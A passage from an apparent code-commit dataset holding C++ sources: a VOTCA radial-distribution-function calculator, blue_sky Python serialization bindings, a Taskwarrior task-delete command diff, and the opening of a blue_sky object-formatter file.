(Property *prop : _nonbonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_interactions[name];\n\n \/\/ count total species for ideal densities\n\n BeadList allbeads1, allbeads2;\n allbeads1.Generate(*top, prop->get(\"type1\").value());\n allbeads2.Generate(*top, prop->get(\"type2\").value());\n\n if (allbeads1.size() == 0) {\n throw std::runtime_error(\"Topology does not have beads of type \\\"\" +\n prop->get(\"type1\").value() +\n \"\\\"\\n\"\n \"This was specified in type1 of interaction \\\"\" +\n name + \"\\\"\");\n }\n if (allbeads2.size() == 0) {\n throw std::runtime_error(\"Topology does not have beads of type \\\"\" +\n prop->get(\"type2\").value() +\n \"\\\"\\n\"\n \"This was specified in type2 of interaction \\\"\" +\n name + \"\\\"\");\n }\n \/\/ calculate normalization factor for rdf\n\n if (_do_vol_corr) {\n std::cout << \"Volume correction on\" << std::endl;\n i._norm = 1. \/ (4.0 * votca::tools::conv::Pi * i._step);\n } else {\n std::cout << \"Volume correction off\" << std::endl;\n i._norm = 1. \/ (4. * votca::tools::conv::Pi * i._step);\n }\n }\n}\n\/\/ create an entry for interactions\nRDFCalculator::interaction_t *RDFCalculator::AddInteraction(Property *p) {\n std::string name = p->get(\"name\").value();\n std::string group;\n\n group = \"none\";\n\n interaction_t *i = new interaction_t;\n i->_index = _interactions.size();\n _interactions[name] = i;\n getGroup(group)->_interactions.push_back(i);\n\n i->_step = p->get(\"step\").as<double>();\n i->_min = p->get(\"min\").as<double>();\n i->_max = p->get(\"max\").as<double>();\n i->_norm = 1.0;\n i->_p = p;\n\n \/\/ initialize the current and average histogram\n int n = (int)((i->_max - i->_min) \/ i->_step + 1.000000001);\n\n i->_average.Initialize(i->_min, i->_max + i->_step, n);\n\n return i;\n}\n\n\/\/ end of trajectory, post processing data\nvoid RDFCalculator::EndEvaluate() {\n if (_nframes > 0) {\n if (!_do_blocks) {\n WriteDist();\n }\n }\n \/\/ clear interactions and groups\n _interactions.clear();\n _groups.clear();\n if (!_processed_some_frames) {\n throw std::runtime_error(\n \"no frames were processed. Please check your input\");\n }\n}\n\n\/\/ load options from xml file\nvoid RDFCalculator::LoadOptions(const std::string &file) {\n _options.LoadFromXML(file);\n _bonded = _options.Select(\"cg.bonded\");\n _nonbonded = _options.Select(\"cg.non-bonded\");\n}\n\n\/\/ evaluate current conformation\nvoid RDFCalculator::Worker::EvalConfiguration(Topology *top, Topology *) {\n _cur_vol = 4.0 \/ 3.0 * votca::tools::conv::Pi * _rdfcalculator->_subvol_rad *\n _rdfcalculator->_subvol_rad * _rdfcalculator->_subvol_rad;\n \/\/ process non-bonded interactions\n DoNonbonded(top);\n \/\/ process bonded interactions\n DoBonded(top);\n}\n\nvoid RDFCalculator::ClearAverages() {\n\n _nframes = 0;\n for (auto &_interaction : _interactions) {\n _interaction.second->_average.Clear();\n }\n\n for (auto &_group : _groups) {\n _group.second->_corr.setZero();\n }\n}\n\nclass IMCNBSearchHandler {\n public:\n IMCNBSearchHandler(HistogramNew *hist, double subvol_rad,\n Eigen::Vector3d boxc, bool do_vol_corr)\n : _hist(hist),\n _subvol_rad(subvol_rad),\n _boxc(boxc),\n _do_vol_corr(do_vol_corr) {}\n\n HistogramNew *_hist;\n double _subvol_rad;\n Eigen::Vector3d _boxc; \/\/ center of box\n bool _do_vol_corr;\n\n bool FoundPair(Bead *b1, Bead *, const Eigen::Vector3d &, const double dist) {\n\n if (_do_vol_corr) {\n double dr = (b1->Pos() - _boxc).norm();\n if (dist + dr > _subvol_rad) {\n \/\/ 2.0 is because everything is normalized to 4 PI\n _hist->Process(dist, 2.0 \/ SurfaceRatio(dist, dr));\n } else {\n _hist->Process(dist);\n }\n\n } else {\n _hist->Process(dist);\n }\n return false;\n }\n\n double SurfaceRatio(double dist, double r) {\n \/\/ r: distance of particle from ex center\n \/\/ dist: distance between particles\n return (1.0 + (_subvol_rad * _subvol_rad - r * r - dist * dist) \/\n (2.0 * dist * r));\n }\n};\n\n\/\/ process non-bonded interactions for current frame\nvoid RDFCalculator::Worker::DoNonbonded(Topology *top) {\n for (Property *prop : _rdfcalculator->_nonbonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_rdfcalculator->_interactions[name];\n\n \/\/ generate the bead lists\n BeadList beads1, beads2;\n\n beads1.GenerateInSphericalSubvolume(*top, prop->get(\"type1\").value(),\n _rdfcalculator->_boxc,\n _rdfcalculator->_subvol_rad);\n beads2.GenerateInSphericalSubvolume(*top, prop->get(\"type2\").value(),\n _rdfcalculator->_boxc,\n _rdfcalculator->_subvol_rad);\n\n _cur_beadlist_1_count = (double)beads1.size();\n _cur_beadlist_2_count = (double)beads2.size();\n\n \/\/ same types, so put factor 1\/2 because of already counted interactions\n if (prop->get(\"type1\").value() == prop->get(\"type2\").value()) {\n _cur_beadlist_2_count \/= 2.0;\n }\n\n \/\/ generate the neighbour list\n std::unique_ptr<NBList> nb;\n\n bool gridsearch = true;\n\n if (_rdfcalculator->_options.exists(\"cg.nbsearch\")) {\n if (_rdfcalculator->_options.get(\"cg.nbsearch\").as<std::string>() ==\n \"grid\") {\n gridsearch = true;\n } else if (_rdfcalculator->_options.get(\"cg.nbsearch\")\n .as<std::string>() == \"simple\") {\n gridsearch = false;\n } else {\n throw std::runtime_error(\"cg.nbsearch invalid, can be grid or simple\");\n }\n }\n if (gridsearch) {\n nb = std::make_unique<NBList>(NBListGrid());\n } else {\n nb = std::make_unique<NBList>(NBList());\n }\n\n nb->setCutoff(i._max + i._step);\n\n \/\/ clear the current histogram\n _current_hists[i._index].Clear();\n\n IMCNBSearchHandler h(&(_current_hists[i._index]),\n _rdfcalculator->_subvol_rad, _rdfcalculator->_boxc,\n _rdfcalculator->_do_vol_corr);\n nb->SetMatchFunction(&h, &IMCNBSearchHandler::FoundPair);\n\n \/\/ is it same types or different types?\n if (prop->get(\"type1\").value() == prop->get(\"type2\").value()) {\n nb->Generate(beads1);\n } else {\n nb->Generate(beads1, beads2);\n }\n\n \/\/ store particle number in subvolume for each interaction\n i._avg_beadlist_1_count.Process(_cur_beadlist_1_count);\n i._avg_beadlist_2_count.Process(_cur_beadlist_2_count);\n }\n}\n\n\/\/ process non-bonded interactions for current frame\nvoid RDFCalculator::Worker::DoBonded(Topology *top) {\n for (Property *prop : _rdfcalculator->_bonded) {\n std::string name = prop->get(\"name\").value();\n\n interaction_t &i = *_rdfcalculator->_interactions[name];\n\n \/\/ clear the current histogram\n _current_hists[i._index].Clear();\n\n \/\/ now fill with new data\n std::list<Interaction *> list = top->InteractionsInGroup(name);\n\n for (auto ic : list) {\n double v = ic->EvaluateVar(*top);\n _current_hists[i._index].Process(v);\n }\n }\n}\n\n\/\/ returns a group, creates it if doesn't exist\nRDFCalculator::group_t *RDFCalculator::getGroup(const std::string &name) {\n std::map<std::string, group_t *>::iterator iter;\n iter = _groups.find(name);\n if (iter == _groups.end()) {\n return _groups[name] = new group_t;\n }\n return (*iter).second;\n}\n\n\/\/ write the distribution function\nvoid RDFCalculator::WriteDist(const std::string &suffix) {\n\n \/\/ for all interactions\n for (auto &_interaction : _interactions) {\n \/\/ calculate the rdf\n Table &t = _interaction.second->_average.data();\n Table dist(t);\n\n _interaction.second->_norm \/=\n (_interaction.second->_avg_beadlist_1_count.getAvg() *\n _interaction.second->_avg_beadlist_2_count.getAvg());\n dist.y() = _avg_vol.getAvg() * _interaction.second->_norm *\n dist.y().cwiseQuotient(dist.x().cwiseAbs2());\n\n dist.Save((_interaction.first) + suffix + \".dist.new\");\n std::cout << \"written \" << (_interaction.first) + suffix + \".dist.new\\n\";\n\n std::cout << \"Avg. number of particles in subvol for \"\n << (_interaction.first) << std::endl;\n std::cout << \"beadlist 1: \"\n << _interaction.second->_avg_beadlist_1_count.getAvg()\n << std::endl;\n std::cout << \"beadlist 2: \"\n << _interaction.second->_avg_beadlist_2_count.getAvg()\n << std::endl;\n }\n\n std::cout << \"Volume used for normalization: \" << _avg_vol.getAvg()\n << std::endl;\n}\n\nCsgApplication::Worker *RDFCalculator::ForkWorker() {\n RDFCalculator::Worker *worker;\n worker = new RDFCalculator::Worker;\n\n worker->_current_hists.resize(_interactions.size());\n worker->_rdfcalculator = this;\n\n for (auto &_interaction : _interactions) {\n interaction_t *i = _interaction.second;\n worker->_current_hists[i->_index].Initialize(\n i->_average.getMin(), i->_average.getMax(), i->_average.getNBins());\n }\n return worker;\n}\n\nvoid RDFCalculator::MergeWorker(CsgApplication::Worker *worker_) {\n _processed_some_frames = true;\n RDFCalculator::Worker *worker =\n dynamic_cast<RDFCalculator::Worker *>(worker_);\n \/\/ update the average\n\n ++_nframes;\n\n _avg_vol.Process(worker->_cur_vol);\n\n for (auto &_interaction : _interactions) {\n interaction_t *i = _interaction.second;\n i->_average.data().y() =\n (((double)_nframes - 1.0) * i->_average.data().y() +\n worker->_current_hists[i->_index].data().y()) \/\n (double)_nframes;\n }\n\n if (_write_every != 0) {\n if ((_nframes % _write_every) == 0) {\n _nblock++;\n std::string suffix =\n std::string(\"_\") + boost::lexical_cast<std::string>(_nblock);\n WriteDist(suffix);\n if (_do_blocks) {\n ClearAverages();\n }\n }\n }\n}\n\n} \/\/ namespace csg\n} \/\/ namespace votca\n<|endoftext|>"} {"text":"<commit_before>\/** \n * @file py_sql_well.cpp\n * @brief python wraper for well fracture storage\n * @author Oleg Borschuk\n * @version \n * @date 2011-07-29\n *\/\n\n#include \"py_sql_well.h\"\n#include \"sql_well.h\"\n#include \"bs_serialize.h\"\n#include \"bs_prop_base.h\"\n\nusing namespace boost::python;\n#ifdef BSPY_EXPORTING_PLUGIN\n\nnamespace blue_sky {\nnamespace python {\n void py_export_compdat_ident();\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ helper function to write well_pool to given fname\n std::string serialize_to_str_fname(\n smart_ptr< well_pool_iface > wp,\n const std::string& prj_path,\n const std::string& prj_name\n ) {\n \/\/ save project path for serialization code\n kernel::idx_dt_ptr p_dt = BS_KERNEL.pert_idx_dt(BS_KERNEL.find_type(\"hdm\").td_);\n \/\/std::string well_pool_filename = prj_name + \"_well_pool.db\";\n p_dt->insert< std::string >(prj_path);\n \/\/ and project name\n p_dt->insert< std::string >(prj_name);\n\n \/\/ invoke serializetion\n std::string res = serialize_to_str< well_pool_iface >(wp);\n \/\/ clear table\n p_dt->clear< std::string >();\n\n return res;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/! export matrices to python\n void py_export_sql_well ()\n {\n using namespace boost::python;\n\n base_exporter <well_pool_iface, py_sql_well_exporter>::export_class (\"well_pool_iface\");\n\n class_exporter <sql_well, well_pool_iface, py_sql_well_exporter>::export_class (\"sql_well\");\n\n py_export_compdat_ident();\n\n def(\"serialize_to_str\", &blue_sky::serialize_to_str< well_pool_iface >);\n def(\"serialize_from_str\", &blue_sky::serialize_from_str< well_pool_iface >);\n def(\"serialize_to_str_fname\", &serialize_to_str_fname);\n\n \/\/ register implicit conversion to interface\n implicitly_convertible<\n smart_ptr< sql_well >,\n smart_ptr< well_pool_iface >\n >();\n }\n\n}\t\/\/ namespace python\n}\t\/\/ namespace blue_sky\n#endif \/\/ #ifdef BSPY_EXPORTING_PLUGIN\n<commit_msg>SQW: export to Python explicit serialization functions for sql_well class<commit_after>\/** \n * @file py_sql_well.cpp\n * @brief python wraper for well fracture storage\n * @author Oleg Borschuk\n * @version \n * @date 2011-07-29\n *\/\n\n#include \"py_sql_well.h\"\n#include \"sql_well.h\"\n#include \"bs_serialize.h\"\n#include \"bs_prop_base.h\"\n\nusing namespace boost::python;\n#ifdef BSPY_EXPORTING_PLUGIN\n\nBLUE_SKY_TYPE_SERIALIZE_GUID(blue_sky::sql_well)\nBLUE_SKY_CLASS_SRZ_FCN_DECL(serialize, blue_sky::sql_well)\n\nnamespace blue_sky {\nnamespace python {\n void py_export_compdat_ident();\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n \/\/ helper function to write well_pool to given fname\n std::string serialize_to_str_fname(\n smart_ptr< well_pool_iface > wp,\n const std::string& prj_path,\n const std::string& prj_name\n ) {\n \/\/ save project path for serialization code\n kernel::idx_dt_ptr p_dt = BS_KERNEL.pert_idx_dt(BS_KERNEL.find_type(\"hdm\").td_);\n \/\/std::string well_pool_filename = prj_name + \"_well_pool.db\";\n p_dt->insert< std::string >(prj_path);\n \/\/ and project name\n p_dt->insert< std::string >(prj_name);\n\n \/\/ invoke serializetion\n std::string res = serialize_to_str< well_pool_iface >(wp);\n \/\/ clear table\n p_dt->clear< std::string >();\n\n return res;\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/! export matrices to python\n void py_export_sql_well ()\n {\n using namespace boost::python;\n\n base_exporter <well_pool_iface, py_sql_well_exporter>::export_class (\"well_pool_iface\");\n\n class_exporter <sql_well, well_pool_iface, py_sql_well_exporter>::export_class (\"sql_well\");\n\n py_export_compdat_ident();\n\n\n std::string (*s2s_wpi)(smart_ptr< well_pool_iface >&) = &blue_sky::serialize_to_str< well_pool_iface >;\n std::string (*s2s_sqw)(smart_ptr< sql_well >&) = &blue_sky::serialize_to_str< sql_well >;\n smart_ptr< well_pool_iface > (*sfs_wpi)(const std::string&) = &blue_sky::serialize_from_str< well_pool_iface >;\n smart_ptr< sql_well > (*sfs_sqw)(const std::string&) = &blue_sky::serialize_from_str< sql_well >;\n\n def(\"serialize_to_str\", s2s_wpi);\n def(\"serialize_to_str\", s2s_sqw);\n def(\"serialize_from_str\", sfs_wpi);\n def(\"serialize_from_str\", sfs_sqw);\n\n \/\/def(\"serialize_to_str\", &blue_sky::serialize_to_str< well_pool_iface >);\n \/\/def(\"serialize_from_str\", &blue_sky::serialize_from_str< well_pool_iface >);\n def(\"serialize_to_str_fname\", &serialize_to_str_fname);\n\n \/\/ register implicit conversion to interface\n implicitly_convertible<\n smart_ptr< sql_well >,\n smart_ptr< well_pool_iface >\n >();\n }\n\n}\t\/\/ namespace python\n}\t\/\/ namespace blue_sky\n#endif \/\/ #ifdef BSPY_EXPORTING_PLUGIN\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2014, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <iostream>\n#include <Context.h>\n#include <Filter.h>\n#include <util.h>\n#include <text.h>\n#include <i18n.h>\n#include <main.h>\n#include <CmdDelete.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nCmdDelete::CmdDelete ()\n{\n _keyword = \"delete\";\n _usage = \"task <filter> delete <mods>\";\n _description = STRING_CMD_DELETE_USAGE;\n _read_only = false;\n _displays_id = false;\n _needs_confirm = true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint CmdDelete::execute (std::string& output)\n{\n int rc = 0;\n int count = 0;\n\n \/\/ Apply filter.\n Filter filter;\n std::vector <Task> filtered;\n filter.subset (filtered);\n if (filtered.size () == 0)\n {\n context.footnote (STRING_FEEDBACK_NO_TASKS_SP);\n return 1;\n }\n\n \/\/ Accumulated project change notifications.\n std::map <std::string, std::string> projectChanges;\n\n std::vector <Task>::iterator task;\n for (task = filtered.begin (); task != filtered.end (); ++task)\n {\n Task before (*task);\n\n if (task->getStatus () != Task::deleted)\n {\n \/\/ Delete the specified task.\n std::string question;\n if (task->id)\n question = format (STRING_CMD_DELETE_CONFIRM,\n task->id,\n task->get (\"description\"));\n else\n question = format (STRING_CMD_DELETE_CONFIRM,\n task->get (\"uuid\"),\n task->get (\"description\"));\n\n task->modify (Task::modAnnotate);\n task->setStatus (Task::deleted);\n if (! task->has (\"end\"))\n task->setEnd ();\n\n if (permission (*task, question, filtered.size ()))\n {\n updateRecurrenceMask (*task);\n ++count;\n context.tdb2.modify (*task);\n feedback_affected (STRING_CMD_DELETE_TASK, *task);\n feedback_unblocked (*task);\n dependencyChainOnComplete (*task);\n if (context.verbose (\"project\"))\n projectChanges[task->get (\"project\")] = onProjectChange (*task);\n\n \/\/ Delete siblings.\n if (task->has (\"parent\"))\n {\n if (confirm (STRING_CMD_DELETE_CONFIRM_R))\n {\n std::vector <Task> siblings = context.tdb2.siblings (*task);\n std::vector <Task>::iterator sibling;\n for (sibling = siblings.begin (); sibling != siblings.end (); ++sibling)\n {\n sibling->modify (Task::modAnnotate);\n sibling->setStatus (Task::deleted);\n if (! sibling->has (\"end\"))\n sibling->setEnd ();\n\n updateRecurrenceMask (*sibling);\n context.tdb2.modify (*sibling);\n feedback_affected (STRING_CMD_DELETE_TASK_R, *sibling);\n feedback_unblocked (*sibling);\n ++count;\n }\n\n \/\/ Delete the parent\n Task parent;\n context.tdb2.get (task->get (\"parent\"), parent);\n parent.setStatus (Task::deleted);\n if (! parent.has (\"end\"))\n parent.setEnd ();\n\n context.tdb2.modify (parent);\n }\n }\n\n \/\/ Task potentially has child tasks - optionally delete them.\n else\n {\n std::vector <Task> children = context.tdb2.children (*task);\n if (children.size () &&\n confirm (STRING_CMD_DELETE_CONFIRM_R))\n {\n std::vector <Task>::iterator child;\n for (child = children.begin (); child != children.end (); ++child)\n {\n child->modify (Task::modAnnotate);\n child->setStatus (Task::deleted);\n if (! child->has (\"end\"))\n child->setEnd ();\n\n updateRecurrenceMask (*child);\n context.tdb2.modify (*child);\n feedback_affected (STRING_CMD_DELETE_TASK_R, *child);\n feedback_unblocked (*child);\n ++count;\n }\n }\n }\n }\n else\n {\n std::cout << STRING_CMD_DELETE_NO << \"\\n\";\n rc = 1;\n if (_permission_quit)\n break;\n }\n }\n else\n {\n std::cout << format (STRING_CMD_DELETE_NOT_DEL,\n task->id,\n task->get (\"description\"))\n << \"\\n\";\n rc = 1;\n }\n }\n\n \/\/ Now list the project changes.\n std::map <std::string, std::string>::iterator i;\n for (i = projectChanges.begin (); i != projectChanges.end (); ++i)\n if (i->first != \"\")\n context.footnote (i->second);\n\n context.tdb2.commit ();\n feedback_affected (count == 1 ? STRING_CMD_DELETE_1 : STRING_CMD_DELETE_N, count);\n return rc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<commit_msg>CmdDelete<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2006 - 2014, Paul Beckingham, Federico Hernandez.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <iostream>\n#include <Context.h>\n#include <Filter.h>\n#include <util.h>\n#include <text.h>\n#include <i18n.h>\n#include <main.h>\n#include <CmdDelete.h>\n\nextern Context context;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nCmdDelete::CmdDelete ()\n{\n _keyword = \"delete\";\n _usage = \"task <filter> delete <mods>\";\n _description = STRING_CMD_DELETE_USAGE;\n _read_only = false;\n _displays_id = false;\n _needs_confirm = true;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nint CmdDelete::execute (std::string& output)\n{\n int rc = 0;\n int count = 0;\n\n \/\/ Apply filter.\n Filter filter;\n std::vector <Task> filtered;\n filter.subset (filtered);\n if (filtered.size () == 0)\n {\n context.footnote (STRING_FEEDBACK_NO_TASKS_SP);\n return 1;\n }\n\n \/\/ Accumulated project change notifications.\n std::map <std::string, std::string> projectChanges;\n\n std::vector <Task>::iterator task;\n for (task = filtered.begin (); task != filtered.end (); ++task)\n {\n Task before (*task);\n\n if (task->getStatus () != Task::deleted)\n {\n \/\/ Delete the specified task.\n std::string question;\n if (task->id)\n question = format (STRING_CMD_DELETE_CONFIRM,\n task->id,\n task->get (\"description\"));\n else\n question = format (STRING_CMD_DELETE_CONFIRM,\n task->get (\"uuid\"),\n task->get (\"description\"));\n\n task->modify (Task::modAnnotate);\n task->setStatus (Task::deleted);\n if (! task->has (\"end\"))\n task->setEnd ();\n\n if (permission (*task, question, filtered.size ()))\n {\n updateRecurrenceMask (*task);\n ++count;\n context.tdb2.modify (*task);\n feedback_affected (STRING_CMD_DELETE_TASK, *task);\n feedback_unblocked (*task);\n dependencyChainOnComplete (*task);\n if (context.verbose (\"project\"))\n projectChanges[task->get (\"project\")] = onProjectChange (*task);\n\n \/\/ Delete siblings.\n if (task->has (\"parent\"))\n {\n if (confirm (STRING_CMD_DELETE_CONFIRM_R))\n {\n std::vector <Task> siblings = context.tdb2.siblings (*task);\n std::vector <Task>::iterator sibling;\n for (sibling = siblings.begin (); sibling != siblings.end (); ++sibling)\n {\n sibling->modify (Task::modAnnotate);\n sibling->setStatus (Task::deleted);\n if (! sibling->has (\"end\"))\n sibling->setEnd ();\n\n updateRecurrenceMask (*sibling);\n context.tdb2.modify (*sibling);\n feedback_affected (STRING_CMD_DELETE_TASK_R, *sibling);\n feedback_unblocked (*sibling);\n ++count;\n }\n\n \/\/ Delete the parent\n Task parent;\n context.tdb2.get (task->get (\"parent\"), parent);\n parent.setStatus (Task::deleted);\n if (! parent.has (\"end\"))\n parent.setEnd ();\n\n context.tdb2.modify (parent);\n }\n }\n\n \/\/ Task potentially has child tasks - optionally delete them.\n else\n {\n std::vector <Task> children = context.tdb2.children (*task);\n if (children.size () &&\n confirm (STRING_CMD_DELETE_CONFIRM_R))\n {\n std::vector <Task>::iterator child;\n for (child = children.begin (); child != children.end (); ++child)\n {\n child->modify (Task::modAnnotate);\n child->setStatus (Task::deleted);\n if (! child->has (\"end\"))\n child->setEnd ();\n\n updateRecurrenceMask (*child);\n context.tdb2.modify (*child);\n feedback_affected (STRING_CMD_DELETE_TASK_R, *child);\n feedback_unblocked (*child);\n ++count;\n }\n }\n }\n }\n else\n {\n std::cout << STRING_CMD_DELETE_NO << \"\\n\";\n rc = 1;\n if (_permission_quit)\n break;\n }\n }\n else\n {\n std::cout << format (STRING_CMD_DELETE_NOT_DEL,\n task->id,\n task->get (\"description\"))\n << \"\\n\";\n rc = 1;\n }\n }\n\n \/\/ Now list the project changes.\n std::map <std::string, std::string>::iterator i;\n for (i = projectChanges.begin (); i != projectChanges.end (); ++i)\n if (i->first != \"\")\n context.footnote (i->second);\n\n feedback_affected (count == 1 ? STRING_CMD_DELETE_1 : STRING_CMD_DELETE_N, count);\n return rc;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n<|endoftext|>"} {"text":"<commit_before>\/\/\/ @author uentity\n\/\/\/ @date 01.07.2019\n\/\/\/ @copyright\n\/\/\/ This Source Code Form is subject to the terms of the Mozilla Public License,\n\/\/\/ v. 2.0. If a copy of the MPL was not distributed with this file,\n\/\/\/ You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/\n\n#include <bs\/serialize\/object_formatter.h>\n#include <bs\/objbase.h>\n#include <bs\/kernel\/misc.h>\n#include <bs\/uuid.h>\n\n#include <map>\n#include <unordered_map>\n#include <set>\n#include <mutex>\n\nNAMESPACE_BEGIN(blue_sky)\nNAMESPACE_BEGIN()\n\n\/*-----------------------------------------------------------------------------\n * Formatters manip impl\n *-----------------------------------------------------------------------------*\/\nstruct fmaster {\n\t\/\/ obj_type_id -> set of unique object_formatter instances sorted by name\n\t\/\/ [NOTE] type_id is stored as string view!\n\tusing fmt_storage_t = std::map< std::string_view, std::set<object_formatter, std::less<>>, std::less<> >;\n\tfmt_storage_t fmt_storage;\n\n\tusing registry_t = std::unordered_map<const objbase*, const object_formatter*>;\n\tregistry_t registry;\n\n\tusing archive_registry_t = std::unordered_multimap<const object_formatter*, void*>;\n\tarchive_registry_t archive_registry;\n\n\t\/\/ sync access to data above\n\tstd::mutex fmt_guard, reg_guard, 